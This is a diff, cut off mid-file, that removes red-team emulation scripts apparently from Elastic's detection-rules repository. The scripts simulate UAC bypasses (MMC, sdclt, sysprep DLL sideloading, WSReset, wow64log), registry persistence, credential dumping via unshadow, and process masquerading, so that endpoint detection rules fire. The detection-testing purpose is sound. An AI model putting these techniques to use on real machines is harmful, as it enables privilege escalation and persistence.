a/rta/uac_mmc_hijack.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="99d89d71-4025-481d-80f9-efb795beca29", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "UAC Bypass via Malicious MMC Snap-In Execution", - "rule_id": "ccdf56a8-697b-497c-ab90-3aa01bfc5f9f", - }, - ], - siem=[], - techniques=["T1548", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - mmc = "C:\\Users\\Public\\mmc.exe" - msc = "C:\\Users\\Public\\a.msc" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, mmc) - common.copy_file(EXE_FILE, msc) - - common.execute([mmc, "/c", "echo", "a.msc b.msc"], timeout=2, kill=True) - common.execute([mmc, "/c", powershell], timeout=2, kill=True) - common.remove_files(mmc, msc) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_mmc_net_core_profiler.py b/rta/uac_mmc_net_core_profiler.py deleted file mode 100644 index d422b884e..000000000 --- a/rta/uac_mmc_net_core_profiler.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="33f20563-7d1b-46a4-8644-a563f2488120", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "UAC Bypass Attempt via MMC DLL Search Order Hijacking", - "rule_id": "28996098-b9be-4aa8-a1f3-4923c84b2649", - }, - ], - siem=[], - techniques=["T1574", "T1548", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "Environment" - value = "COR_PROFILER_PATH" - data = "temp.dll" - - with common.temporary_reg(common.HKCU, key, value, data): - pass - - mmc = "C:\\Users\\Public\\mmc.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, mmc) - - common.execute([mmc, "/c", powershell], timeout=2, kill=True) - common.remove_files(mmc) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_sdclt.py b/rta/uac_sdclt.py deleted file mode 100644 index 6aa2ed8d5..000000000 --- a/rta/uac_sdclt.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7d1ca1a2-be0e-4cd8-944f-2da2fc625468", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "UAC Bypass via Sdclt", "rule_id": "e9095298-65e0-40a2-97c9-055de8685645"}, - ], - siem=[], - techniques=["T1548", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - sdclt = "C:\\Users\\Public\\sdclt.exe" - common.copy_file(EXE_FILE, sdclt) - - common.execute([sdclt, "/c", "echo", "/kickoffelev; powershell"], timeout=2, kill=True) - common.remove_files(sdclt) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_sysprep.py b/rta/uac_sysprep.py deleted file mode 100644 index 5fd9bbdb1..000000000 --- a/rta/uac_sysprep.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Bypass UAC via Sysprep -# RTA: uac_sysprep.py -# ATT&CK: T1088 -# Description: Use CRYPTBASE.dll opportunity to do Dll Sideloading with SysPrep for a UAC bypass - - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="72e0a6ca-5b2d-48f6-9d6f-a879ace9cdae", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Bypass UAC with CRYPTBASE.dll") - - common.copy_file( - "C:\\windows\\system32\\kernel32.dll", - "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL", - ) - common.execute(["C:\\Windows\\system32\sysprep\\sysprep.exe"], timeout=5, kill=True) - common.remove_file("C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_windir_masq.py b/rta/uac_windir_masq.py deleted file mode 100644 index f4cf8e715..000000000 --- a/rta/uac_windir_masq.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="3b8454af-db6b-4d4c-92c6-89ca7b6640f1", - platforms=["windows"], - endpoint=[{ - 'rule_id': 'adaf95d2-28ce-4880-af16-f3041b624440', - 'rule_name': 'UAC Bypass Attempt via Windows Directory Masquerading' - }], - siem=[], - techniques=['T1548', 'T1548.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - proc = "C:\\Users\\Public\\proc.exe" - common.copy_file(EXE_FILE, proc) - - common.execute([proc, "/c", "echo", "C:\\Windows \\System32\\a.exe"], timeout=5, kill=True) - common.remove_files(proc) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_windows_activation.py b/rta/uac_windows_activation.py deleted file mode 100644 index c65076d2c..000000000 --- a/rta/uac_windows_activation.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9643aa7f-fe2e-46f1-b3ef-8cf07b5aaaa0", - platforms=["windows"], - endpoint=[ - { - "rule_name": "UAC Bypass via Windows Activation Execution Hijack", - "rule_id": "71ad1420-ed83-46d0-835b-63d4b2008427", - } - ], - siem=[], - techniques=["T1548"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "Software\\Classes\\Launcher.SystemSettings\\shell\\open\\command" - value = "test" - data = "test" - - with common.temporary_reg(common.HKCU, key, value, data): - pass - - changepk = "C:\\Users\\Public\\changepk.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, changepk) - - common.execute([changepk, "/c", powershell], timeout=2, kill=True) - common.remove_file(changepk) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_winfw_mmc.py b/rta/uac_winfw_mmc.py deleted file mode 100644 index 8e71dcabe..000000000 --- a/rta/uac_winfw_mmc.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2f19d0f2-64cb-41db-81e6-da06f9e83bcb", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "UAC Bypass via Windows Firewall Snap-In Hijack", - "rule_id": "65f52068-4d08-41af-9fd7-0c1a4f732494", - }, - ], - siem=[ - { - 'rule_id': '1178ae09-5aff-460a-9f2f-455cd0ac4d8e', - 'rule_name': 'UAC Bypass via Windows Firewall Snap-In Hijack' - } - ], - techniques=["T1574", "T1055", "T1548", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - mmc = "C:\\Users\\Public\\mmc.exe" - dllhost = "C:\\Users\\Public\\dllhost.exe" - dccwpathdll = "C:\\Windows\\assembly\\temp\\a.dll" - dccwpathdll2 = "C:\\Windows\\assembly\\temp\\Accessibility.ni.dll" - common.copy_file(EXE_FILE, mmc) - common.copy_file(EXE_FILE, dllhost) - - common.copy_file(EXE_FILE, dccwpathdll) - common.execute([dllhost, "/c", f"Rename-Item {dccwpathdll} {dccwpathdll2}"], timeout=10) - common.execute([mmc, "/c", "echo", "WF.msc", ";powershell"], timeout=2, kill=True) - common.remove_files(mmc, dllhost, dccwpathdll2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_wow64log.py b/rta/uac_wow64log.py deleted file mode 100644 index 14618f6f2..000000000 --- a/rta/uac_wow64log.py +++ /dev/null @@ -1,51 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ab957b94-2c39-49dd-93cf-f1e40394ff1b", - platforms=["windows"], - endpoint=[ - { - "rule_name": "UAC Bypass Attempt via WOW64 Logger DLL Side-Loading", - "rule_id": "28a39a43-e850-4941-8605-ffa23dcfd25a", - } - ], - siem=[], - techniques=["T1574", "T1548"], -) - -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\wow64log.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - common.log("Modifying the OriginalFileName attribute to invalidate the signature") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "wow64log.dll"]) - - common.log("Loading wow64log.dll and spawning a high integrity process") - common.execute( - [powershell, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}; powershell"], - timeout=10, - ) - - common.remove_files(dll, ps1, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_wsreset.py b/rta/uac_wsreset.py deleted file mode 100644 index 33324f6ca..000000000 --- a/rta/uac_wsreset.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e8612e97-2df7-4e85-94ee-e61bc58c6479", - platforms=["windows"], - endpoint=[ - {"rule_name": "UAC Bypass via WSReset Execution Hijack", "rule_id": "11c67af9-9599-4800-9e84-bd38f2a51581"} - ], - siem=[], - techniques=["T1548"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "Software" - value = "ms-windows-store" - data = "test" - - with common.temporary_reg(common.HKCU, key, value, data): - pass - - wsreset = "C:\\Users\\Public\\wsreset.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, wsreset) - - common.execute([wsreset, "/c", powershell], timeout=2, kill=True) - common.remove_file(wsreset) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uncommon_persistence.py b/rta/uncommon_persistence.py deleted file mode 100644 index a1d3a97d0..000000000 --- a/rta/uncommon_persistence.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ca020d7f-f495-4f0a-a808-da615f3409b4", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "97fc44d3-8dae-4019-ae83-298c3015600f", "rule_name": "Startup or Run Key Registry Modification"}], - techniques=["T1547"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell" - value = "Common Startup" - data = "Test" - - with common.temporary_reg(common.HKLM, key, value, data): - pass - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/unshadow_execution.py b/rta/unshadow_execution.py deleted file mode 100644 index c2f6d23af..000000000 --- a/rta/unshadow_execution.py +++ /dev/null @@ -1,46 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c5cecd6d-a7c4-4e3b-970d-6ca5cfc5c662", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Linux Credential Dumping via Unshadow", - "rule_id": "05f95917-6942-4aab-a904-37c6db906503", - } - ], - siem=[ - { - "rule_name": "Potential Linux Credential Dumping via Unshadow", - "rule_id": "e7cb3cfd-aaa3-4d7b-af18-23b89955062c" - } - ], - techniques=["T1003", "T1003.008"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/unshadow" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching fake commands to dump credential via unshadow") - common.execute([masquerade, "/etc/passwd /etc/shadow"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/unsigned_startup_item_netconn.py b/rta/unsigned_startup_item_netconn.py deleted file mode 100644 index 97463f24a..000000000 --- a/rta/unsigned_startup_item_netconn.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="245fcf03-6df8-4731-af94-f2ba4ed60670", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Unusual File Written or Modified in Startup Folder", - "rule_id": "30a90136-7831-41c3-a2aa-1a303c1186ac", - }, - {"rule_name": "Network Connection via Startup Item", "rule_id": "0b33141a-3f73-4414-ba90-d8410e6ab176"}, - ], - siem=[], - techniques=["T1547", "T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - posh = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\posh.exe" - common.copy_file(EXE_FILE, posh) - - common.execute( - [ - posh, - "/c", - "Test-NetConnection", - "-ComputerName", - "portquiz.net", - "-Port", - "445", - ], - timeout=10, - ) - common.remove_files(posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/unusual_kerberos_client.py b/rta/unusual_kerberos_client.py deleted file mode 100644 index e355c2f83..000000000 --- a/rta/unusual_kerberos_client.py +++ /dev/null @@ -1,72 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="78e59247-db65-412a-898c-2e757d695851", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Suspicious Directory", "rule_id": "9ba39516-651e-489f-8b6a-f5501e0c492d"}, - { - "rule_name": "Executable File Creation Followed by Immediate Network Connection", - "rule_id": "8d11d741-7a06-41a1-a525-feaaa07ebbae", - }, - {"rule_name": "Unusual Kerberos Client Process", "rule_id": "b5c91c3e-9d2d-4df6-afb7-c9d236b5ebe2"}, - ], - siem=[], - techniques=["T1558", "T1204", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - posh = "C:\\Users\\Public\\posh.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\System.DirectoryServices.Protocols.test.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(EXE_FILE, posh) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - common.log("Modifying the OriginalFileName attribute") - common.execute( - [ - rcedit, - dll, - "--set-version-string", - "OriginalFilename", - "System.DirectoryServices.Protocols.test.dll", - ] - ) - - common.log("Loading System.DirectoryServices.Protocols.test.dll") - common.execute( - [ - posh, - "-c", - f"Import-Module {ps1}; Invoke-ImageLoad {dll};", - "Test-NetConnection", - "-ComputerName", - "portquiz.net", - "-Port", - "88", - ], - timeout=10, - ) - - common.remove_files(posh, dll, ps1) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/unusual_ms_tool_network.py b/rta/unusual_ms_tool_network.py deleted file mode 100644 index 55428e5c2..000000000 --- a/rta/unusual_ms_tool_network.py +++ /dev/null @@ -1,79 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Unexpected Network Activity from Microsoft Tools -# RTA: unusual_ms_tool_network.py -# ATT&CK: T1127 -# Description: Creates network traffic from a process which is named to match common administration and developer tools -# that do not typically make network traffic unless being used maliciously. - -import shutil -import sys -from pathlib import Path - -from . import RtaMetadata, common - -if sys.version_info > (3,): - urlliblib = "urllib.request" -else: - urlliblib = "urllib" - - -metadata = RtaMetadata( - uuid="cf94f5cc-5265-4287-80e5-82d9663ecf2e", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", - "rule_name": "Unusual Network Activity from a Windows System Binary", - }, - {"rule_id": "610949a1-312f-4e04-bb55-3a79b8c95267", "rule_name": "Unusual Process Network Connection"}, - ], - techniques=["T1127"], -) - - -process_names = [ - "bginfo.exe", - "msdt.exe", - "ieexec.exe", - "cdb.exe", - "dnx.exe", - "rcsi.exe", - "csi.exe", - "cmstp.exe", - "xwizard.exe", - "fsi.exe", - "odbcconf.exe", -] - - -def http_from_process(name, ip, port): - path = Path(common.BASE_DIR) / name - common.log("Making HTTP GET from %s" % path) - shutil.copy(sys.executable, path) - common.execute( - [ - path, - "-c", - "from %s import urlopen ; urlopen('http://%s:%d')" % (urlliblib, ip, port), - ] - ) - common.remove_file(path) - - -@common.requires_os(*metadata.platforms) -def main(): - server, ip, port = common.serve_web() - - for process in process_names: - http_from_process(process, ip, port) - - server.shutdown() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/unusual_parent_child.py b/rta/unusual_parent_child.py deleted file mode 100644 index e451fcffe..000000000 --- a/rta/unusual_parent_child.py +++ /dev/null @@ -1,50 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Invalid Process Trees in Windows -# RTA: unusual_parent_child.py -# signal.rule.name: Unusual Parent-Child Relationship -# ATT&CK: T1093 -# Description: Runs several Windows core processes directly, instead of from the proper parent in Windows. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="6cf12026-f99f-4e5c-8cd4-3dbc7bce3e67", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "35df0dd8-092d-4a83-88c1-5151a804f31b", "rule_name": "Unusual Parent-Child Relationship"}], - techniques=["T1055"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Running Windows processes with an unexpected parent of %s" % Path(sys.executable).name) - process_names = [ - # "C:\\Windows\\System32\\smss.exe", BSOD (avoid this) - # "C:\\Windows\\System32\\csrss.exe", BSOD (avoid this) - # "C:\\Windows\\System32\\wininit.exe", BSOD (avoid this) - # "C:\\Windows\\System32\\services.exe", BSOD (avoid this) - "C:\\Windows\\System32\\winlogon.exe", - "C:\\Windows\\System32\\lsass.exe", - "C:\\Windows\\System32\\taskhost.exe", # Win7 - "C:\\Windows\\System32\\taskhostw.exe", # Win10 - "C:\\Windows\\System32\\svchost.exe", - ] - - for process in process_names: - # taskhostw.exe isn't on all versions of windows - if Path(process).is_file(): - common.execute([process], timeout=2, kill=True) - else: - common.log("Skipping %s" % process, "-") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/unusual_parent_chrome_extension.py b/rta/unusual_parent_chrome_extension.py deleted file mode 100644 index d532292aa..000000000 --- a/rta/unusual_parent_chrome_extension.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9e31b8ae-c0a6-46c9-9634-d1aebceea541", - platforms=["windows"], - endpoint=[{ - 'rule_id': 'd7fda3d7-fe77-49c2-8b50-d28a6da206c4', - 'rule_name': 'Chromium Extension Loaded from Unusual Parent' - }], - siem=[], - techniques=['T1176'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - proc = "C:\\Users\\Public\\proc.exe" - childproc = "C:\\Users\\Public\\childproc.exe" - common.copy_file(EXE_FILE, proc) - common.copy_file(EXE_FILE, childproc) - - common.execute([proc, "/c", "echo", f"--load-extension; & {childproc}"], timeout=5, kill=True) - common.remove_files(childproc, proc) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/unusual_powershell_engine_image_load.py b/rta/unusual_powershell_engine_image_load.py deleted file mode 100644 index cc5983718..000000000 --- a/rta/unusual_powershell_engine_image_load.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a5d82c62-6d4e-4d31-94f2-a996c9613604", - platforms=["windows"], - endpoint=[{"rule_name": "Unusual PowerShell Engine ImageLoad", "rule_id": "f57505bb-a1d2-4d3b-b7b5-1d81d7bdb80e"}], - siem=[], - techniques=["T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - posh = "C:\\Windows\\System32\\posh.exe" - common.copy_file(powershell, posh) - - common.log("Executing renamed powershell on system32 folder") - common.execute([posh, "-c", "echo RTA"], timeout=10) - common.remove_files(posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/unusual_rdp_client.py b/rta/unusual_rdp_client.py deleted file mode 100644 index 1e1b692c9..000000000 --- a/rta/unusual_rdp_client.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d3c0c965-3167-4fe3-8aee-a9f101766b5a", - platforms=["windows"], - endpoint=[ - {"rule_name": "Unusual Remote Desktop Client Process", "rule_id": "d448566e-486f-4b61-a76f-945662313d49"} - ], - siem=[], - techniques=["T1021"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - posh = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\posh.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\mstscax.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - common.copy_file(user32, dll) - common.copy_file(powershell, posh) - common.copy_file(PS1_FILE, ps1) - - common.log("Loading mstscax.dll into posh") - common.execute( - [ - posh, - "-c", - f"Import-Module {ps1}; Invoke-ImageLoad {dll};", - "Test-NetConnection", - "-ComputerName", - "portquiz.net", - "-Port", - "3389", - ], - timeout=10, - ) - common.remove_files(dll, ps1, posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/unzip_to_tmp.py b/rta/unzip_to_tmp.py deleted file mode 100644 index ddda2e847..000000000 --- a/rta/unzip_to_tmp.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="de7e28b2-c01d-4cd7-abb7-ddb64bce5f45", - platforms=["macos"], - endpoint=[ - {"rule_name": "Compressed File Extracted to Temp Directory", "rule_id": "24fa0f80-7e3a-4b27-801a-30ef53f190bf"} - ], - siem=[], - techniques=["T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/Users/bash" - common.create_macos_masquerade(masquerade) - - command = 'bash -c "unzip * /tmp/* -d *"' - - common.log("Executing unzip to tmp directory.") - common.execute([masquerade, "childprocess", command], shell=True, timeout=5, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/user_action_script.py b/rta/user_action_script.py deleted file mode 100644 index 8113d650d..000000000 --- a/rta/user_action_script.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4e63cb99-b56d-4c75-9cda-3a7f30861d35", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Persistence via Folder Action Script", "rule_id": "c292fa52-4115-408a-b897-e14f684b3cb7"}], - techniques=["T1037", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/com.apple.foundation.UserScriptService" - masquerade2 = "/tmp/osascript" - common.create_macos_masquerade(masquerade) - common.create_macos_masquerade(masquerade2) - - # Execute command - common.log("Launching fake commands to mimic modification of a Folder Action script") - common.execute([masquerade, "childprocess", masquerade2], timeout=1, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/user_dir_escalation.py b/rta/user_dir_escalation.py deleted file mode 100644 index cafcab9cf..000000000 --- a/rta/user_dir_escalation.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: SYSTEM Escalation from User Directory -# RTA: user_dir_escalation.py -# ATT&CK: T1044 -# Description: Spawns mock malware written to a regular user directory and executes as System. - -import os -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="dc734786-66bd-4be6-bd06-eb41fa7b6745", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -@common.dependencies(common.PS_EXEC) -def main(): - # make sure path is absolute for psexec - status = common.run_system() - if status is not None: - return status - - common.log("Run a user-writeable file as system") - source_path = common.get_path("bin", "myapp.exe") - - target_directory = "c:\\users\\fake_user_rta-%d" % os.getpid() - if not Path(target_directory).is_dir(): - Path(target_directory).mkdir(parents=True) - - target_path = Path(target_directory) / "user_file.exe" - common.copy_file(source_path, target_path) - common.execute([target_path]) - - common.remove_directory(target_directory) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/user_mode_smb_connection.py b/rta/user_mode_smb_connection.py deleted file mode 100644 index 4690aeeff..000000000 --- a/rta/user_mode_smb_connection.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="8ce1099f-26e7-45ea-a7a9-9ab0926a2c4a", - platforms=["windows"], - 